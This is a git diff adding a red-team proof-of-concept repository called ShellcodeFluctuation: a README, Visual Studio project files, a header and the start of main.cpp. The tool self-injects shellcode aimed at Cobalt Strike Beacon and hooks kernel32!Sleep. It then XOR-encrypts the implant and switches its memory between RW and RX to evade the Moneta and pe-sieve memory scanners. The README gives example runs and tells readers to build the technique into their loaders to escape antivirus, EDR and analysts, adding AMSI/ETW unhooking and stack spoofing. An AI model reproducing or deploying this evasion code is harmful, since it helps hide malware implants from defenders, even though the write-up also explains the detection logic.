first
@@ -0,0 +1,252 @@
|
||||
# Shellcode Fluctuation PoC
|
||||
|
||||
A PoC implementation for an another in-memory evasion technique that cyclically encrypts and decrypts shellcode's contents to then make it fluctuate between `RW` and `RX` memory protection.
|
||||
When our shellcode resides in `RW` memory pages, scanners such as [`Moneta`](https://github.com/forrest-orr/moneta) or [`pe-sieve`](https://github.com/hasherezade/pe-sieve) will be unable to track it down and dump it for further analysis.
|
||||
|
||||
## Intro
|
||||
|
||||
After releasing [ThreadStackSpoofer](https://github.com/mgeeky/ThreadStackSpoofer) I've received a few questions about the following README's point:
|
||||
|
||||
> Change your Beacon's memory pages protection to RW (from RX/RWX) and encrypt their contents before sleeping (that could evade scanners such as Moneta or pe-sieve)
|
||||
|
||||
Beforewards I was pretty sure the community already know how to encrypt/decrypt their payloads and flip their memory protections to simply evade memory scanners looking for anomalous executable regions.
|
||||
Questions proven otherwise so I decided to release this unweaponized PoC to document yet another evasion strategy and offer sample implementation for the community to work with.
|
||||
|
||||
This PoC is a demonstration of rather simple technique, already known to the offensive community (so I'm not bringin anything new here really) in hope to disclose secrecy behind magic showed by commercial frameworks such as [MDSec's Nighthawk C2](https://www.mdsec.co.uk/nighthawk/) that demonstrate their evasion capabilities targeting both aforementioned memory scanners.
|
||||
|
||||
[Nighthawk - Moneta Evasion](https://vimeo.com/581308411)
|
||||
[Nighthawk - Pe-Sieve Evasion](https://vimeo.com/581325306)
|
||||
|
||||
|
||||
## How it works?
|
||||
|
||||
This program performs self-injection shellcode (roughly via classic `VirtualAlloc` + `memcpy` + `CreateThread`).
|
||||
When shellcode runs (this implementation specifically targets Cobalt Strike Beacon implants) a Windows function will be hooked intercepting moment when Beacon falls asleep `kernel32!Sleep`.
|
||||
Whenever hooked `MySleep` function gets invoked, it will localise its memory allocation boundaries, flip their protection to `RW` and `xor32` all the bytes stored there.
|
||||
Having awaited for expected amount of time, when shellcode gets back to our `MySleep` handler, we'll decrypt shellcode's data and flip protection back to `RX`.
|
||||
|
||||
The rough algorithm is following:
|
||||
|
||||
1. Read shellcode's contents from file.
|
||||
2. Hook `kernel32!Sleep` pointing back to our callback.
|
||||
3. Inject and launch shellcode via `VirtualAlloc` + `memcpy` + `CreateThread`. In contrary to what we had in `ThreadStackSpoofer`, here we're not hooking anything in ntdll to launch our shellcode but rather jump to it from our own function. This attempts to avoid leaving simple IOCs in memory pointing at modified ntdll memory.
|
||||
3. As soon as Beacon attempts to sleep, our `MySleep` callback gets invoked.
|
||||
4. Beacon's memory allocation gets encrypted and protection flipped to `RW`
|
||||
5. We then unhook original `kernel32!Sleep` to avoid leaving simple IOC in memory pointing that `Sleep` have been trampolined (in-line hooked).
|
||||
5. A call to original `::Sleep` is made to let the Beacon's sleep while waiting for further communication.
|
||||
11. After Sleep is finished, we decrypt our shellcode's data, flip it memory protections back to `RX` and then re-hook `kernel32!Sleep` to ensure interception of subsequent sleep.
|
||||
|
||||
|
||||
## Demo
|
||||
|
||||
The tool `ShellcodeFluctuation` accepts three parameters: first one being path to the shellcode and the second one modifier of our functionality.
|
||||
|
||||
```
|
||||
Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>
|
||||
<fluctuate>:
|
||||
-1 - Read shellcode but dont inject it. Run in an infinite loop.
|
||||
0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything
|
||||
1 - Inject shellcode and start fluctuating its memory.
|
||||
```
|
||||
|
||||
### Moneta False Positive
|
||||
|
||||
So firstly we'll see what `Moneta64` scanner thinks about process that does nothing dodgy and simply resorts to run an infinite loop:
|
||||
|
||||

|
||||
|
||||
As we can see there's some **false positive** allegdly detecting `Mismatching PEB module` / `Phantom image`.
|
||||
The memory boundaries point at the `ShellcodeFluctuate.exe` module itself and could indicate that this module however being of `MEM_IMAGE` type, is not linked in process' PEB - which is unsual and sounds rather odd.
|
||||
The reason for this IOC is not known to me and I didn't attempt to understand it better, yet it isn't something we should be concerned about really.
|
||||
|
||||
### Not Encrypted Beacon
|
||||
|
||||
The second use case presents Memory IOCs of a Beacon operating within our process, which does not utilise any sorts of customised `Artifact Kits`, `User-Defined Reflective Loaders` (such as my [`ElusiveMice`](https://github.com/mgeeky/ElusiveMice)), neither any initial actions that would spoil our results.
|
||||
|
||||

|
||||
|
||||
We can see that `Moneta64` correctly recognizes `Abnormal private executable memory` pointing at the location where our shellcode resides.
|
||||
That's really strong Memory IOC exposing our shellcode for getting dumped and analysed by automated scanners. Not cool.
|
||||
|
||||
### Encrypted Beacon
|
||||
|
||||
Now the third, most interesting from perspective of this implementation, use case being _fluctuating_ Beacon.
|
||||
|
||||

|
||||
|
||||
Apart from the first IOC, considered somewhat _false positive_, we see a new one pointing that `kernel32.dll` memory was modified.
|
||||
However, no `Abnormal private executable memory` IOC this time. Our fluctuation (repeated encryption/decryption and memory protections flipping is active).
|
||||
|
||||
So we're able to see already that there are no clear references pointing back to our shellcode, at least memory IOC-wise. But what about that modified `kernel32` IOC?
|
||||
|
||||
### Modified code in kernel32.dll
|
||||
|
||||
Now, let us attempt to get to the bottom of this IOC and see what's the deal here.
|
||||
|
||||
Firstly, we'll dump mentioned memory region - being `.text` (code) section of `kernel32.dll`. Let us use `ProcessHacker` for that purpose to utilise publicly known and stable tooling:
|
||||
|
||||

|
||||
|
||||
We dump code section of allegedly modified kernel32 and then we do the same for the kernel32 running in process that did not modify that area.
|
||||
|
||||
Having acquired two dumps, we can then [compare them byte-wise](https://github.com/mgeeky/expdevBadChars) to look for any inconsitencies:
|
||||
|
||||

|
||||
|
||||
Just to see that they match one another. Clearly there isn't a single byte modified in `kernel32.dll` and the reason for that is because we're unhooking `kernel32!Sleep` before calling it out:
|
||||
|
||||
`main.cpp:31:`
|
||||
```
|
||||
HookTrampolineBuffers buffers = { 0 };
|
||||
buffers.originalBytes = g_hookedSleep.sleepStub;
|
||||
buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub);
|
||||
|
||||
//
|
||||
// Unhook kernel32!Sleep to evade hooked Sleep IOC.
|
||||
// We leverage the fact that the return address left on the stack will make the thread
|
||||
// get back to our handler anyway.
|
||||
//
|
||||
fastTrampoline(false, (BYTE*)::Sleep, &MySleep, &buffers);
|
||||
|
||||
// Perform sleep emulating originally hooked functionality.
|
||||
::Sleep(dwMilliseconds);
|
||||
```
|
||||
|
||||
So what's causing the IOC being triggered? Let us inspect `Moneta` more closely:
|
||||
|
||||

|
||||
|
||||
Breaking into Moneta's `Ioc.cpp` just around the 104 line where it reports `MODIFIED_CODE` IOC, we can modify the code a little to better expose the exact moment when it analyses kernel32 pool.
|
||||
Now:
|
||||
|
||||
1. The check is made to ensure that kernel32's region is executable. We see that in fact that region is executable `a = true`
|
||||
2. Amount of that module's private memory is acquired. Here we see that `kernel32` has `b = 0x1000` private bytes. How come? There should be `0` of them.
|
||||
3. If executable allocation is having more than 0 bytes of private memory (`a && b`) the IOC is reported
|
||||
4. And that's a proof we were examining kernel32 at that time.
|
||||
|
||||
When Windows Image Loader maps a DLL module into process' memory space, the underlying memory pages will be labeled as `MEM_MAPPED` or `MEM_IMAGE` depending on scenario.
|
||||
Whenever we modify even a single byte of the `MEM_MAPPED`/`MEM_IMAGE` allocation, the system will separate a single memory page (assuming we modified less then `PAGE_SIZE` bytes and did not cross page boundary) to indicate fragment that does not maps back to the original image.
|
||||
|
||||
This observation is then utilised as an IOC - an image should not have `MEM_PRIVATE` allocations within its memory region (inside of it) because that would indicate that some bytes where once modified within that region. Moneta is correctly picking up on code modification if though bytes were matching original module's bytes at the time of comparison.
|
||||
|
||||
For a comprehensive explanation of how Moneta, process injection implementation and related IOC works under the hood, read following top quality articles by **Forrest Orr**:
|
||||
|
||||
1. [Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing](https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing)
|
||||
2. [Masking Malicious Memory Artifacts – Part II: Blending in with False Positives](https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-ii-insights-from-moneta)
|
||||
3. [Masking Malicious Memory Artifacts – Part III: Bypassing Defensive Scanners](https://www.cyberark.com/resources/threat-research-blog/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners)
|
||||
|
||||
That's a truly outstanding research and documentation done by Forrest, great work pal!
|
||||
|
||||
Especially the second article outlines the justification for this detection, as we read what Forrest teaches us:
|
||||
|
||||
> In the event that the module had been legitimately loaded and added to the PEB, the shellcode implant would still have been detected due to the 0x1000 bytes (1 page) of memory privately mapped into the address space and retrieved by Moneta by querying its working set - resulting in a modified code IOC as seen above.
|
||||
|
||||
|
||||
To summarise, we're leaving an IOC behind but should we be worried about that?
|
||||
Even if there's an IOC there are no stolen bytes visible, so no immediate reference pointing back to our shellcode or distinguishing our shellcode's technique from others.
|
||||
|
||||
Long story short - we shouldn't be really worried about that IOC. :-)
|
||||
|
||||
|
||||
### But commercial frameworks leave no IOCs
|
||||
|
||||
One can say, that this implementation is far from perfect because it leaves something, still there are IOCs and the commercial products show they don't have similar traits.
|
||||
|
||||
When that argument's on the table I need to remind, that, the commercial frameworks have complete control over source code of their implants, shellcode loaders and thus can nicely integrate one with another to avoid necessity of hooking and hacking around their shellcode themselves. Here, we need to hook `kernel32!Sleep` to intercept Cobalt Strike's Beacon execution just before it falls asleep in order to kick on with our housekeeping. If there was a better mechanism for us kicking in without having to hook sleep - that would be perfect.
|
||||
|
||||
However there is a notion of [_Sleep Mask_](https://www.cobaltstrike.com/help-sleep-mask-kit) introduced to Cobalt Strike, the size restrictions for being hundreds of byte makes us totally unable to introduce this logic to the mask itself (otherwise we'd be able not to hook `Sleep` as well, leaving no IOCs just like commercial products do).
|
||||
|
||||
|
||||
## How do I use it?
|
||||
|
||||
Look at the code and its implementation, understand the concept and re-implement the concept within your own Shellcode Loaders that you utilise to deliver your Red Team engagements.
|
||||
This is an yet another technique for advanced in-memory evasion that increases your Teams' chances for not getting caught by Anti-Viruses, EDRs and Malware Analysts taking look at your implants.
|
||||
|
||||
While developing your advanced shellcode loader, you might also want to implement:
|
||||
|
||||
- **Process Heap Encryption** - take an inspiration from this blog post: [Hook Heaps and Live Free](https://www.arashparsa.com/hook-heaps-and-live-free/) - which can let you evade Beacon configuration extractors like [`BeaconEye`](https://github.com/CCob/BeaconEye)
|
||||
- [**Spoof your thread's call stack**](https://github.com/mgeeky/ThreadStackSpoofer) before sleeping (that could evade scanners attempting to examine process' threads and their call stacks in attempt to hunt for `MEM_PRIVATE` memory allocations referenced by these threads)
|
||||
- **Clear out any leftovers from Reflective Loader** to avoid in-memory signatured detections
|
||||
- **Unhook everything you might have hooked** (such as AMSI, ETW, WLDP) before sleeping and then re-hook afterwards.
|
||||
|
||||
|
||||
## Example run
|
||||
|
||||
Use case:
|
||||
|
||||
```
|
||||
Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>
|
||||
<fluctuate>:
|
||||
-1 - Read shellcode but dont inject it. Run in an infinite loop.
|
||||
0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything
|
||||
1 - Inject shellcode and start fluctuating its memory.
|
||||
```
|
||||
|
||||
Where:
|
||||
- `<shellcode>` is a path to the shellcode file
|
||||
- `<fluctuate>` as described above, takes `-1`, `0` or `1`
|
||||
|
||||
|
||||
Example run that spoofs beacon's thread call stack:
|
||||
|
||||
```
|
||||
C:\> ShellcodeFluctuation.exe ..\..\tests\beacon64.bin 1
|
||||
|
||||
[.] Reading shellcode bytes...
|
||||
[.] Hooking kernel32!Sleep...
|
||||
[.] Injecting shellcode...
|
||||
[+] Shellcode is now running. PID = 9456
|
||||
[+] Fluctuation initialized.
|
||||
Shellcode resides at 0x000002210C091000 and occupies 176128 bytes. XOR32 key: 0x1e602f0d
|
||||
[>] Flipped to RW. Encoding...
|
||||
|
||||
===> MySleep(5000)
|
||||
|
||||
[.] Decoding...
|
||||
[>] Flipped to RX.
|
||||
[>] Flipped to RW. Encoding...
|
||||
|
||||
===> MySleep(5000)
|
||||
```
|
||||
|
||||
## Word of caution
|
||||
|
||||
If you plan on adding this functionality to your own shellcode loaders / toolings be sure to **AVOID** unhooking `kernel32.dll`.
|
||||
An attempt to unhook `kernel32` will restore original `Sleep` functionality preventing our callback from being called.
|
||||
If our callback is not called, the thread will be unable to spoof its own call stack by itself.
|
||||
|
||||
If that's what you want to have, than you might need to run another, watchdog thread, making sure that the Beacons thread will get spoofed whenever it sleeps.
|
||||
|
||||
If you're using Cobalt Strike and a BOF `unhook-bof` by Raphael's Mudge, be sure to check out my [Pull Request](https://github.com/Cobalt-Strike/unhook-bof/pull/1) that adds optional parameter to the BOF specifying libraries that should not be unhooked.
|
||||
|
||||
This way you can maintain your hooks in kernel32:
|
||||
|
||||
```
|
||||
beacon> unhook kernel32
|
||||
[*] Running unhook.
|
||||
Will skip these modules: wmp.dll, kernel32.dll
|
||||
[+] host called home, sent: 9475 bytes
|
||||
[+] received output:
|
||||
ntdll.dll <.text>
|
||||
Unhook is done.
|
||||
```
|
||||
|
||||
[Modified `unhook-bof` with option to ignore specified modules](https://github.com/mgeeky/unhook-bof)
|
||||
|
||||
|
||||
---
|
||||
|
||||
### ☕ Show Support ☕
|
||||
|
||||
This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community,
|
||||
[Consider buying me a coffee](https://github.com/sponsors/mgeeky) _(or better a beer)_ just to say thank you! 💪
|
||||
|
||||
---
|
||||
|
||||
## Author
|
||||
|
||||
```
|
||||
Mariusz Banach / mgeeky, 21
|
||||
<mb [at] binary-offensive.com>
|
||||
(https://github.com/mgeeky)
|
||||
```
|
||||
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31105.61
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ShellcodeFluctuation", "ShellcodeFluctuation\ShellcodeFluctuation.vcxproj", "{9EED9E19-9475-4D2E-9B06-37D6799417FE}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x64.Build.0 = Debug|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Debug|x86.Build.0 = Debug|Win32
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.ActiveCfg = Release|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x64.Build.0 = Release|x64
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.ActiveCfg = Release|Win32
|
||||
{9EED9E19-9475-4D2E-9B06-37D6799417FE}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {C5AF3E09-A902-42DF-9A8C-D63A66F8F25B}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,156 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{9eed9e19-9475-4d2e-9b06-37d6799417fe}</ProjectGuid>
|
||||
<RootNamespace>ShellcodeFluctuation</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="header.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="header.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>d:\dev2\ShellcodeFluctuation\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,64 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <vector>
|
||||
|
||||
typedef void (WINAPI* typeSleep)(
|
||||
DWORD dwMilis
|
||||
);
|
||||
|
||||
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
|
||||
|
||||
struct FluctuationMetadata
|
||||
{
|
||||
LPVOID shellcodeAddr;
|
||||
SIZE_T shellcodeSize;
|
||||
DWORD protect;
|
||||
bool currentlyEncrypted;
|
||||
DWORD encodeKey;
|
||||
};
|
||||
|
||||
struct HookedSleep
|
||||
{
|
||||
typeSleep origSleep;
|
||||
BYTE sleepStub[16];
|
||||
};
|
||||
|
||||
struct HookTrampolineBuffers
|
||||
{
|
||||
// (Input) Buffer containing bytes that should be restored while unhooking.
|
||||
BYTE* originalBytes;
|
||||
DWORD originalBytesSize;
|
||||
|
||||
// (Output) Buffer that will receive bytes present prior to trampoline installation/restoring.
|
||||
BYTE* previousBytes;
|
||||
DWORD previousBytesSize;
|
||||
};
|
||||
|
||||
|
||||
template<class... Args>
|
||||
void log(Args... args)
|
||||
{
|
||||
std::stringstream oss;
|
||||
(oss << ... << args);
|
||||
|
||||
std::cout << oss.str() << std::endl;
|
||||
}
|
||||
|
||||
static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
|
||||
|
||||
bool hookSleep();
|
||||
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr& thread);
|
||||
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
|
||||
std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Type = MEM_PRIVATE | MEM_MAPPED);
|
||||
void initializeShellcodeFluctuation(const LPVOID caller);
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
|
||||
void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey);
|
||||
bool isShellcodeThread(LPVOID address);
|
||||
void shellcodeEncryptDecrypt(LPVOID callerAddress);
|
||||
void relocateShellcode(const LPVOID caller, LPVOID addressOfRetAddr);
|
||||
|
||||
void WINAPI MySleep(DWORD _dwMilliseconds);
|
||||
@@ -0,0 +1,453 @@
|
||||
|
||||
#include "header.h"
|
||||
#include <intrin.h>
|
||||
#include <random>
|
||||
|
||||
HookedSleep g_hookedSleep;
|
||||
FluctuationMetadata g_fluctuationData;
|
||||
bool g_fluctuate = false;
|
||||
|
||||
|
||||
void WINAPI MySleep(DWORD dwMilliseconds)
|
||||
{
|
||||
const LPVOID caller = (LPVOID)_ReturnAddress();
|
||||
|
||||
//
|
||||
// Dynamically determine where the shellcode resides.
|
||||
// Of course that we could reuse information collected in `injectShellcode()`
|
||||
// right after VirtualAlloc, however the below invocation is a step towards
|
||||
// making the implementation self-aware and independent of the loader.
|
||||
//
|
||||
initializeShellcodeFluctuation(caller);
|
||||
|
||||
//
|
||||
// Encrypt (XOR32) shellcode's memory allocation and flip its memory pages to RW
|
||||
//
|
||||
shellcodeEncryptDecrypt(caller);
|
||||
|
||||
|
||||
